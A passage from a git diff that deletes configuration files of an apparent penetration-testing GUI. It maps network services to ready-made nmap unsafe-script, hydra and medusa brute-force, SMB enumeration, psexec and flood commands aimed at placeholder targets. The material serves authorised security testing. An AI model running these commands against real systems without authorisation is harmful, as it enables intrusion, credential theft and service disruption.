-ms-sql-tables.nse=ms-sql-tables.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-tables.nse --script-args=unsafe=1", ms-sql -ms-sql-xp-cmdshell.nse=ms-sql-xp-cmdshell.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-xp-cmdshell.nse --script-args=unsafe=1", ms-sql -msrpc-enum.nse=msrpc-enum.nse, "nmap -Pn [IP] -p [PORT] --script=msrpc-enum.nse --script-args=unsafe=1", msrpc -mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s -mysql-audit.nse=mysql-audit.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-audit.nse --script-args=unsafe=1", mysql -mysql-brute.nse=mysql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-brute.nse --script-args=unsafe=1", mysql -mysql-databases.nse=mysql-databases.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-databases.nse --script-args=unsafe=1", mysql -mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql -mysql-dump-hashes.nse=mysql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-dump-hashes.nse --script-args=unsafe=1", mysql -mysql-empty-password.nse=mysql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-empty-password.nse --script-args=unsafe=1", mysql -mysql-enum.nse=mysql-enum.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-enum.nse --script-args=unsafe=1", mysql -mysql-info.nse=mysql-info.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-info.nse --script-args=unsafe=1", mysql -mysql-query.nse=mysql-query.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-query.nse --script-args=unsafe=1", mysql -mysql-users.nse=mysql-users.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-users.nse --script-args=unsafe=1", mysql -mysql-variables.nse=mysql-variables.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-variables.nse --script-args=unsafe=1", mysql -mysql-vuln-cve2012-2122.nse=mysql-vuln-cve2012-2122.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-vuln-cve2012-2122.nse --script-args=unsafe=1", mysql -nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns -nfs-ls.nse=nfs-ls.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-ls.nse --script-args=unsafe=1", nfs -nfs-showmount.nse=nfs-showmount.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-showmount.nse --script-args=unsafe=1", nfs -nfs-statfs.nse=nfs-statfs.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-statfs.nse --script-args=unsafe=1", nfs -nikto=Run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP] -C all, "http,https,ssl,soap,http-proxy,http-alt,https-alt" -nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], -oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute-stealth.nse --script-args=unsafe=1", oracle -oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle -oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns -oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle -oracle-sid=Oracle SID enumeration, "msfconsole -q -n -L -x \"color false; spool [OUTPUT].txt; use auxiliary/scanner/oracle/sid_enum; set RHOSTS [IP]; run; exit -y\"", oracle-tns -oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle -oracle-version=Get Oracle version, "msfconsole -q -n -L -x \"color false; spool [OUTPUT].txt; use auxiliary/scanner/oracle/tnslsnr_version; set RHOSTS [IP]; run; exit -y\"", oracle-tns -polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" -pop3-brute.nse=pop3-brute.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-brute.nse --script-args=unsafe=1", pop3 -pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-capabilities.nse --script-args=unsafe=1", pop3 -postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql -rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server -realvnc-auth-bypass.nse=realvnc-auth-bypass.nse, "nmap -Pn [IP] -p [PORT] --script=realvnc-auth-bypass.nse --script-args=unsafe=1", vnc -riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-http-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind -rwho=Run rwho, rwho -a [IP], who -samba-vuln-cve-2012-1182.nse=samba-vuln-cve-2012-1182.nse, "nmap -Pn [IP] -p [PORT] --script=samba-vuln-cve-2012-1182.nse --script-args=unsafe=1", samba -samrdump=Run samrdump, python /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" -showmount=Show nfs shares, showmount -e [IP], nfs -smb-brute.nse=smb-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smb-brute.nse --script-args=unsafe=1", smb -smb-check-vulns.nse=smb-check-vulns.nse, "nmap -Pn [IP] -p [PORT] --script=smb-check-vulns.nse --script-args=unsafe=1", smb -smb-enum-admins=Enumerate domain admins (net), "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds" -smb-enum-domains.nse=smb-enum-domains.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-domains.nse --script-args=unsafe=1", smb -smb-enum-groups=Enumerate groups (nmap), "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-groups.nse=smb-enum-groups.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-groups.nse --script-args=unsafe=1", smb -smb-enum-policies=Extract password policy (nmap), "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-processes.nse=smb-enum-processes.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-processes.nse --script-args=unsafe=1", smb -smb-enum-sessions=Enumerate logged in users (nmap), "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-sessions.nse=smb-enum-sessions.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-sessions.nse --script-args=unsafe=1", smb -smb-enum-shares=Enumerate shares (nmap), "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-shares.nse=smb-enum-shares.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-shares.nse --script-args=unsafe=1", smb -smb-enum-users=Enumerate users (nmap), "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-users-rpc=Enumerate users (rpcclient), bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" -smb-enum-users.nse=smb-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-users.nse --script-args=unsafe=1", smb -smb-flood.nse=smb-flood.nse, "nmap -Pn [IP] -p [PORT] --script=smb-flood.nse --script-args=unsafe=1", smb -smb-ls.nse=smb-ls.nse, "nmap -Pn [IP] -p [PORT] --script=smb-ls.nse --script-args=unsafe=1", smb -smb-mbenum.nse=smb-mbenum.nse, "nmap -Pn [IP] -p [PORT] --script=smb-mbenum.nse --script-args=unsafe=1", smb -smb-null-sessions=Check for null sessions (rpcclient), bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" -smb-os-discovery.nse=smb-os-discovery.nse, "nmap -Pn [IP] -p [PORT] --script=smb-os-discovery.nse --script-args=unsafe=1", smb -smb-print-text.nse=smb-print-text.nse, "nmap -Pn [IP] -p [PORT] --script=smb-print-text.nse --script-args=unsafe=1", smb -smb-psexec.nse=smb-psexec.nse, "nmap -Pn [IP] -p [PORT] --script=smb-psexec.nse --script-args=unsafe=1", smb -smb-security-mode.nse=smb-security-mode.nse, "nmap -Pn [IP] -p [PORT] --script=smb-security-mode.nse --script-args=unsafe=1", smb -smb-server-stats.nse=smb-server-stats.nse, "nmap -Pn [IP] -p [PORT] --script=smb-server-stats.nse --script-args=unsafe=1", smb -smb-system-info.nse=smb-system-info.nse, "nmap -Pn [IP] -p [PORT] --script=smb-system-info.nse --script-args=unsafe=1", smb -smb-vuln-ms10-054.nse=smb-vuln-ms10-054.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-054.nse --script-args=unsafe=1", smb -smb-vuln-ms10-061.nse=smb-vuln-ms10-061.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-061.nse --script-args=unsafe=1", smb -smbenum=Run smbenum, bash ./scripts/smbenum.sh [IP], "netbios-ssn,microsoft-ds" -smbv2-enabled.nse=smbv2-enabled.nse, "nmap -Pn [IP] -p [PORT] --script=smbv2-enabled.nse --script-args=unsafe=1", smb -smtp-brute.nse=smtp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-brute.nse --script-args=unsafe=1", smtp -smtp-commands.nse=smtp-commands.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-commands.nse --script-args=unsafe=1", smtp -smtp-enum-expn=Enumerate SMTP users (EXPN), smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-enum-rcpt=Enumerate SMTP users (RCPT), smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-enum-users.nse=smtp-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-enum-users.nse --script-args=unsafe=1", smtp -smtp-enum-vrfy=Enumerate SMTP users (VRFY), smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-open-relay.nse=smtp-open-relay.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-open-relay.nse --script-args=unsafe=1", smtp -smtp-strangeport.nse=smtp-strangeport.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-strangeport.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2010-4344.nse=smtp-vuln-cve2010-4344.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2010-4344.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2011-1720.nse=smtp-vuln-cve2011-1720.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1720.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2011-1764.nse=smtp-vuln-cve2011-1764.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1764.nse --script-args=unsafe=1", smtp -snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" -snmp-brute.nse=snmp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-brute.nse --script-args=unsafe=1", snmp -snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" -snmp-hh3c-logins.nse=snmp-hh3c-logins.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-hh3c-logins.nse --script-args=unsafe=1", snmp -snmp-interfaces.nse=snmp-interfaces.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-interfaces.nse --script-args=unsafe=1", snmp -snmp-ios-config.nse=snmp-ios-config.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-ios-config.nse --script-args=unsafe=1", snmp -snmp-netstat.nse=snmp-netstat.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-netstat.nse --script-args=unsafe=1", snmp -snmp-processes.nse=snmp-processes.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-processes.nse --script-args=unsafe=1", snmp -snmp-sysdescr.nse=snmp-sysdescr.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-sysdescr.nse --script-args=unsafe=1", snmp -snmp-win32-services.nse=snmp-win32-services.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-services.nse --script-args=unsafe=1", snmp -snmp-win32-shares.nse=snmp-win32-shares.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-shares.nse --script-args=unsafe=1", snmp -snmp-win32-software.nse=snmp-win32-software.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-software.nse --script-args=unsafe=1", snmp -snmp-win32-users.nse=snmp-win32-users.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-users.nse --script-args=unsafe=1", snmp -snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" -ssh-default=Check for default ssh credentials, hydra -s [PORT] -C ./wordlists/ssh-betterdefaultpasslist.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh -ssh-default-root=Check for default ssh root credentials, hydra -s [PORT] -C ./wordlists/root-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh -ssh-default-router=Check for default ssh router credentials, hydra -s [PORT] -C ./wordlists/routers-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh -sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl,https-alt" -sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp,https-alt" -telnet-default=Check for default telnet credentials, hydra -s [PORT] -C ./wordlists/telnet-betterdefaultpasslist.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet -telnet-default-root=Check for default telnet root credentials, hydra -s [PORT] -C ./wordlists/root-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet -telnet-default-router=Check for default telnet router credentials, hydra -s [PORT] -C ./wordlists/routers-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet -tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp -theharvester=Run theharvester, theharvester -d [IP]:[PORT] -b all -n -c -t -h, dns -vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc -vnc-default=Check for default VNC credentials, hydra -s [PORT] -C ./wordlists/vnc-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] vnc, vnc -vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc -wafw00f=Run wafw00f, wafw00f [IP]:[PORT], "https,ssl,https-alt" -whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,https-alt" -wpscan=Run wpscan, wpscan --url [IP], "http,https,ssl,https-alt" - -[PortTerminalActions] -firefox=Open with firefox, firefox [IP]:[PORT], -ftp=Open with ftp client, ftp [IP] [PORT], [term] ftp -mssql=Open with mssql client (as sa), [term] python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" -mysql=Open with mysql client (as root), "[term] mysql -u root -h [IP] --port=[PORT] -p", mysql -netcat=Open with netcat, [term] nc -v [IP] [PORT], -psql=Open with postgres client (as postgres), [term] psql -h [IP] -p [PORT] -U postgres, postgres -rdesktop=Open with rdesktop, [term] rdesktop [IP]:[PORT], ms-wbt-server -rlogin=Open with rlogin, [term] rlogin -i root -p [PORT] [IP], login -rpcclient=Open with rpcclient (NULL session), [term] rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" -rsh=Open with rsh, rsh -l root [IP], [term] shell -ssh=Open with ssh client (as root), [term] ssh root@[IP] -p [PORT], ssh -telnet=Open with telnet, [term] telnet [IP] [PORT], -vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc -xephyr=Open with Xephyr, [term] Xephyr -query [IP] :1, xdmcp -xterm=Open terminal, [term] bash, - -[SchedulerSettings] -screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp - -[StagedNmapSettings] -stage1-ports="T:23,25,587,80,8080,443,8443,8081,9443,3389,1099,4786,3306,5432,1521" -stage2-ports="T:135,137,139,445,1433,88" -stage3-ports="U:53,110,161,500" -stage4-ports="Vulners,CVE" -stage5-ports="T:80" -stage6-ports="T:80" - -[ToolSettings] -cutycapt-path=/usr/bin/cutycapt -hydra-path=/usr/bin/hydra -nmap-path=/sbin/nmap -pyshodan-api-key=YourKeyGoesHere -texteditor-path=/usr/bin/leafpad diff --git a/custom_configs/medium_scope_custom_ports.conf b/custom_configs/medium_scope_custom_ports.conf deleted file mode 100644 index 4fe78d1e..00000000 --- a/custom_configs/medium_scope_custom_ports.conf +++ /dev/null @@ -1,325 +0,0 @@ -[BruteSettings] -default-password=password -default-username=root -no-password-services="oracle-sid,rsh,smtp-enum" -no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" -password-wordlist-path=/usr/share/wordlists/ -services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,https-get-form,http-post-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" -store-cleartext-passwords-on-exit=True -username-wordlist-path=/usr/share/wordlists/ - -[GUISettings] -process-tab-column-widths="125,0,100,150,100,0,100,100,0,0,0,0,0,0,0,483,100" -process-tab-detail=false - -[GeneralSettings] -default-terminal=xterm -enable-scheduler=True -enable-scheduler-on-import=False -max-fast-processes=5 -max-slow-processes=5 -screenshooter-timeout=15000 -tool-output-black-background=False -web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" - -[HostActions] -icmp-timestamp=ICMP timestamp, hping3 -V -C 13 -c 1 [IP] -nmap-discover=Run nmap-discover, nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\" -nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" -nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" -nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" -nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" -nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" -nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" -python-script-PyShodan=Run PyShodan python script, /bin/echo PythonScript pyShodan -python-script-macvendors=Run macvendors python script, /bin/echo PythonScript macvendors -unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v - -[PortActions] -banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", -broadcast-ms-sql-discover.nse=broadcast-ms-sql-discover.nse, "nmap -Pn [IP] -p [PORT] --script=broadcast-ms-sql-discover.nse --script-args=unsafe=1", ms-sql -citrix-brute-xml.nse=citrix-brute-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-brute-xml.nse --script-args=unsafe=1", citrix -citrix-enum-apps-xml.nse=citrix-enum-apps-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps-xml.nse --script-args=unsafe=1", citrix -citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps.nse --script-args=unsafe=1", citrix -citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix -citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix -cloudfail=Run cloudfail, python3.7 scripts/CloudFail/cloudfail.py --target [IP] --tor, cloudfail -dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt,https-alt" -dnsmap=Run dnsmap, dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT], dnsmap -enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" -finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger -ftp-anon.nse=ftp-anon.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-anon.nse --script-args=unsafe=1", ftp -ftp-bounce.nse=ftp-bounce.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-bounce.nse --script-args=unsafe=1", ftp -ftp-brute.nse=ftp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-brute.nse --script-args=unsafe=1", ftp -ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp -ftp-libopie.nse=ftp-libopie.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-libopie.nse --script-args=unsafe=1", ftp -ftp-proftpd-backdoor.nse=ftp-proftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-proftpd-backdoor.nse --script-args=unsafe=1", ftp -ftp-vsftpd-backdoor.nse=ftp-vsftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vsftpd-backdoor.nse --script-args=unsafe=1", ftp -ftp-vuln-cve2010-4221.nse=ftp-vuln-cve2010-4221.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vuln-cve2010-4221.nse --script-args=unsafe=1", ftp -http-adobe-coldfusion-apsa1301.nse=http-adobe-coldfusion-apsa1301.nse, "nmap -Pn [IP] -p [PORT] --script=http-adobe-coldfusion-apsa1301.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-affiliate-id.nse=http-affiliate-id.nse, "nmap -Pn [IP] -p [PORT] --script=http-affiliate-id.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-apache-negotiation.nse=http-apache-negotiation.nse, "nmap -Pn [IP] -p [PORT] --script=http-apache-negotiation.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-auth-finder.nse=http-auth-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth-finder.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-auth.nse=http-auth.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-awstatstotals-exec.nse=http-awstatstotals-exec.nse, "nmap -Pn [IP] -p [PORT] --script=http-awstatstotals-exec.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-axis2-dir-traversal.nse=http-axis2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-axis2-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-backup-finder.nse=http-backup-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-backup-finder.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-barracuda-dir-traversal.nse=http-barracuda-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-barracuda-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-brute.nse=http-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-cakephp-version.nse=http-cakephp-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-cakephp-version.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-chrono.nse=http-chrono.nse, "nmap -Pn [IP] -p [PORT] --script=http-chrono.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-coldfusion-subzero.nse=http-coldfusion-subzero.nse, "nmap -Pn [IP] -p [PORT] --script=http-coldfusion-subzero.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-comments-displayer.nse=http-comments-displayer.nse, "nmap -Pn [IP] -p [PORT] --script=http-comments-displayer.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-config-backup.nse=http-config-backup.nse, "nmap -Pn [IP] -p [PORT] --script=http-config-backup.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-cors.nse=http-cors.nse, "nmap -Pn [IP] -p [PORT] --script=http-cors.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-csrf.nse=http-csrf.nse, "nmap -Pn [IP] -p [PORT] --script=http-csrf.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-date.nse=http-date.nse, "nmap -Pn [IP] -p [PORT] --script=http-date.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-default-accounts.nse=http-default-accounts.nse, "nmap -Pn [IP] -p [PORT] --script=http-default-accounts.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-devframework.nse=http-devframework.nse, "nmap -Pn [IP] -p [PORT] --script=http-devframework.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-dlink-backdoor.nse=http-dlink-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=http-dlink-backdoor.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-dombased-xss.nse=http-dombased-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-dombased-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-domino-enum-passwords.nse=http-domino-enum-passwords.nse, "nmap -Pn [IP] -p [PORT] --script=http-domino-enum-passwords.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-drupal-enum-users.nse=http-drupal-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-enum-users.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-drupal-modules.nse=http-drupal-modules.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-modules.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-email-harvest.nse=http-email-harvest.nse, "nmap -Pn [IP] -p [PORT] --script=http-email-harvest.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-enum.nse=http-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-errors.nse=http-errors.nse, "nmap -Pn [IP] -p [PORT] --script=http-errors.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-exif-spider.nse=http-exif-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-exif-spider.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-favicon.nse=http-favicon.nse, "nmap -Pn [IP] -p [PORT] --script=http-favicon.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-feed.nse=http-feed.nse, "nmap -Pn [IP] -p [PORT] --script=http-feed.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-fileupload-exploiter.nse=http-fileupload-exploiter.nse, "nmap -Pn [IP] -p [PORT] --script=http-fileupload-exploiter.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-form-brute.nse=http-form-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-form-fuzzer.nse=http-form-fuzzer.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-fuzzer.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-frontpage-login.nse=http-frontpage-login.nse, "nmap 